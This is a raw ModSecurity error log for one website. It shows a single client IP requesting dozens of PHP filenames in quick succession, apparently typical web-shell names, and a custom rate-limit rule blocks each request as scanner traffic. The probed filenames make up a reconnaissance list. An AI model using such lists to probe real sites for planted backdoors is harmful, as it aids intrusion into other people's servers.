[Sun Apr 19 02:40:40.391646 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:50018] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aePQKHFWunkyacYqsD1L3gAAAUY"]
[Sun Apr 19 02:40:40.974323 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:52663] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aePQKEyD4Jm27Mb3NJiVkgAAAIs"]
[Sun Apr 19 02:40:41.605117 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:55539] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aePQKUyD4Jm27Mb3NJiVmAAAAJQ"]
[Sun Apr 19 02:40:42.229782 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:51045] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aePQKkyD4Jm27Mb3NJiVmQAAAIU"]
[Sun Apr 19 02:40:42.859103 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:55185] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/callback.php"] [unique_id "aePQKnFWunkyacYqsD1L5AAAAUg"]
[Sun Apr 19 02:40:43.449879 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:52564] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/callback.php"] [unique_id "aePQK0yD4Jm27Mb3NJiVoAAAAIs"]
[Sun Apr 19 02:40:44.049832 2026] [:error] [pid 60910:tid 60921] [client 20.91.197.181:52644] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/callback.php"] [unique_id "aePQLHFWunkyacYqsD1L5wAAAUk"]
[Sun Apr 19 02:40:44.683559 2026] [:error] [pid 41277:tid 41301] [client 20.91.197.181:52546] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/callback.php"] [unique_id "aePQLEH3ayszMLZYflsFdAAAAZY"]
[Sun Apr 19 02:40:45.780627 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:52667] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aePQLXFWunkyacYqsD1L6QAAAVY"]
[Sun Apr 19 02:40:46.371101 2026] [:error] [pid 33517:tid 33536] [client 20.91.197.181:47406] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aePQLn4Zz-rubR1wiZ-7AAAAANE"]
[Sun Apr 19 02:40:46.984498 2026] [:error] [pid 33517:tid 33531] [client 20.91.197.181:50010] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aePQLn4Zz-rubR1wiZ-7AwAAAMw"]
[Sun Apr 19 02:40:47.743772 2026] [:error] [pid 41277:tid 41281] [client 20.91.197.181:52574] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aePQL0H3ayszMLZYflsFeQAAAYI"]
[Sun Apr 19 02:40:48.334199 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:51070] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abrand.php"] [unique_id "aePQMEyD4Jm27Mb3NJiVqQAAAIk"]
[Sun Apr 19 02:40:49.277364 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:47386] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abrand.php"] [unique_id "aePQMXFWunkyacYqsD1L6wAAAVE"]
[Sun Apr 19 02:40:49.908886 2026] [:error] [pid 32166:tid 32205] [client 20.91.197.181:52654] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abrand.php"] [unique_id "aePQMZCHNkWwdiZnafLWxwAAAEc"]
[Sun Apr 19 02:40:50.636698 2026] [:error] [pid 32252:tid 32273] [client 20.91.197.181:52620] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abrand.php"] [unique_id "aePQMuXl4Yc-Lt5fJ9irjAAAARM"]
[Sun Apr 19 02:40:51.219005 2026] [:error] [pid 32252:tid 32275] [client 20.91.197.181:47371] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/camara.php"] [unique_id "aePQM-Xl4Yc-Lt5fJ9irjgAAARU"]
[Sun Apr 19 02:40:51.816922 2026] [:error] [pid 32252:tid 32259] [client 20.91.197.181:52652] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/camara.php"] [unique_id "aePQM-Xl4Yc-Lt5fJ9irkQAAAQU"]
[Sun Apr 19 02:40:52.390169 2026] [:error] [pid 60910:tid 60915] [client 20.91.197.181:52065] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/camara.php"] [unique_id "aePQNHFWunkyacYqsD1L8QAAAUM"]
[Sun Apr 19 02:40:53.050918 2026] [:error] [pid 32166:tid 32218] [client 20.91.197.181:52634] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/camara.php"] [unique_id "aePQNZCHNkWwdiZnafLWywAAAFQ"]
[Sun Apr 19 02:40:53.633786 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:51029] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assacc.php"] [unique_id "aePQNUH3ayszMLZYflsFhAAAAYY"]
[Sun Apr 19 02:40:54.365466 2026] [:error] [pid 32252:tid 32257] [client 20.91.197.181:55507] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assacc.php"] [unique_id "aePQNuXl4Yc-Lt5fJ9irmAAAAQM"]
[Sun Apr 19 02:40:55.082278 2026] [:error] [pid 41277:tid 41297] [client 20.91.197.181:49992] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assacc.php"] [unique_id "aePQN0H3ayszMLZYflsFhwAAAZI"]
[Sun Apr 19 02:40:55.987070 2026] [:error] [pid 32252:tid 32272] [client 20.91.197.181:47373] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assacc.php"] [unique_id "aePQN-Xl4Yc-Lt5fJ9irmgAAARI"]
[Sun Apr 19 02:40:56.709274 2026] [:error] [pid 32165:tid 32182] [client 20.91.197.181:49809] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "aePQOKe2vKwEk_N0Brb_hwAAAA0"]
[Sun Apr 19 02:40:57.650923 2026] [:error] [pid 33517:tid 33541] [client 20.91.197.181:55189] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "aePQOX4Zz-rubR1wiZ-7BgAAANY"]
[Sun Apr 19 02:40:58.436384 2026] [:error] [pid 33517:tid 33523] [client 20.91.197.181:50008] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "aePQOn4Zz-rubR1wiZ-7CAAAAMQ"]
[Sun Apr 19 02:40:59.037034 2026] [:error] [pid 33517:tid 33528] [client 20.91.197.181:52058] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "aePQO34Zz-rubR1wiZ-7CQAAAMk"]
[Sun Apr 19 02:40:59.639544 2026] [:error] [pid 33517:tid 33530] [client 20.91.197.181:50025] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aePQO34Zz-rubR1wiZ-7DQAAAMs"]
[Sun Apr 19 02:41:00.250617 2026] [:error] [pid 41277:tid 41287] [client 20.91.197.181:52616] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aePQPEH3ayszMLZYflsFjAAAAYg"]
[Sun Apr 19 02:41:01.110721 2026] [:error] [pid 41277:tid 41283] [client 20.91.197.181:50019] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aePQPUH3ayszMLZYflsFkQAAAYQ"]
[Sun Apr 19 02:41:01.907026 2026] [:error] [pid 32166:tid 32199] [client 20.91.197.181:47418] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aePQPZCHNkWwdiZnafLW0QAAAEE"]
[Sun Apr 19 02:41:02.582354 2026] [:error] [pid 32166:tid 32221] [client 20.91.197.181:50046] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aePQPpCHNkWwdiZnafLW0wAAAFc"]
[Sun Apr 19 02:41:03.237941 2026] [:error] [pid 32166:tid 32218] [client 20.91.197.181:52042] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aePQP5CHNkWwdiZnafLW1AAAAFQ"]
[Sun Apr 19 02:41:04.017325 2026] [:error] [pid 32166:tid 32211] [client 20.91.197.181:52602] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aePQQJCHNkWwdiZnafLW2AAAAE0"]
[Sun Apr 19 02:41:04.629186 2026] [:error] [pid 32166:tid 32212] [client 20.91.197.181:52639] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aePQQJCHNkWwdiZnafLW3AAAAE4"]
[Sun Apr 19 02:41:05.268294 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:50911] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtsr.php"] [unique_id "aePQQXFWunkyacYqsD1L_QAAAVc"]
[Sun Apr 19 02:41:05.995576 2026] [:error] [pid 60910:tid 60925] [client 20.91.197.181:47410] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtsr.php"] [unique_id "aePQQXFWunkyacYqsD1MAAAAAU0"]
[Sun Apr 19 02:41:06.581956 2026] [:error] [pid 32252:tid 32277] [client 20.91.197.181:47362] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtsr.php"] [unique_id "aePQQuXl4Yc-Lt5fJ9irnQAAARc"]
[Sun Apr 19 02:41:07.244723 2026] [:error] [pid 32166:tid 32203] [client 20.91.197.181:52032] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xtsr.php"] [unique_id "aePQQ5CHNkWwdiZnafLW4wAAAEU"]
[Sun Apr 19 02:41:07.829228 2026] [:error] [pid 32166:tid 32201] [client 20.91.197.181:51790] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz8.php"] [unique_id "aePQQ5CHNkWwdiZnafLW5AAAAEM"]
[Sun Apr 19 02:41:09.037760 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:52074] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz8.php"] [unique_id "aePQRUH3ayszMLZYflsFlAAAAYU"]
[Sun Apr 19 02:41:09.692153 2026] [:error] [pid 41277:tid 41301] [client 20.91.197.181:50915] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz8.php"] [unique_id "aePQRUH3ayszMLZYflsFlwAAAZY"]
[Sun Apr 19 02:41:10.347329 2026] [:error] [pid 32252:tid 32270] [client 20.91.197.181:52655] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz8.php"] [unique_id "aePQRuXl4Yc-Lt5fJ9irpAAAARA"]
[Sun Apr 19 02:41:11.055438 2026] [:error] [pid 32252:tid 32260] [client 20.91.197.181:51039] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aePQR-Xl4Yc-Lt5fJ9irpgAAAQY"]
[Sun Apr 19 02:41:12.117679 2026] [:error] [pid 41277:tid 41300] [client 20.91.197.181:52081] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aePQSEH3ayszMLZYflsFmgAAAZU"]
[Sun Apr 19 02:41:12.829944 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:47400] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aePQSHFWunkyacYqsD1MCgAAAUY"]
[Sun Apr 19 02:41:13.635900 2026] [:error] [pid 32166:tid 32221] [client 20.91.197.181:55522] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aePQSZCHNkWwdiZnafLW6AAAAFc"]
[Sun Apr 19 02:41:14.201464 2026] [:error] [pid 32252:tid 32277] [client 20.91.197.181:52583] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aePQSuXl4Yc-Lt5fJ9irqwAAARc"]
[Sun Apr 19 02:41:14.841813 2026] [:error] [pid 41277:tid 41294] [client 20.91.197.181:52589] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aePQSkH3ayszMLZYflsFnwAAAY8"]
[Sun Apr 19 02:41:23.222344 2026] [:error] [pid 32252:tid 32267] [client 20.91.197.181:51813] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/drhunthq.php"] [unique_id "aePQU-Xl4Yc-Lt5fJ9ir2QAAAQ0"]
[Sun Apr 19 02:41:23.836593 2026] [:error] [pid 32252:tid 32257] [client 20.91.197.181:49991] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/drhunthq.php"] [unique_id "aePQU-Xl4Yc-Lt5fJ9ir3AAAAQM"]
[Sun Apr 19 02:41:24.453064 2026] [:error] [pid 33517:tid 33522] [client 20.91.197.181:52630] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/drhunthq.php"] [unique_id "aePQVH4Zz-rubR1wiZ-7MQAAAMM"]
[Sun Apr 19 02:41:25.043406 2026] [:error] [pid 32252:tid 32278] [client 20.91.197.181:52044] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/drhunthq.php"] [unique_id "aePQVeXl4Yc-Lt5fJ9ir5AAAARg"]
[Sun Apr 19 02:41:25.680467 2026] [:error] [pid 32166:tid 32221] [client 20.91.197.181:52604] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aePQVZCHNkWwdiZnafLW8wAAAFc"]
[Sun Apr 19 02:41:26.270981 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:50032] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aePQVnFWunkyacYqsD1MFwAAAUU"]
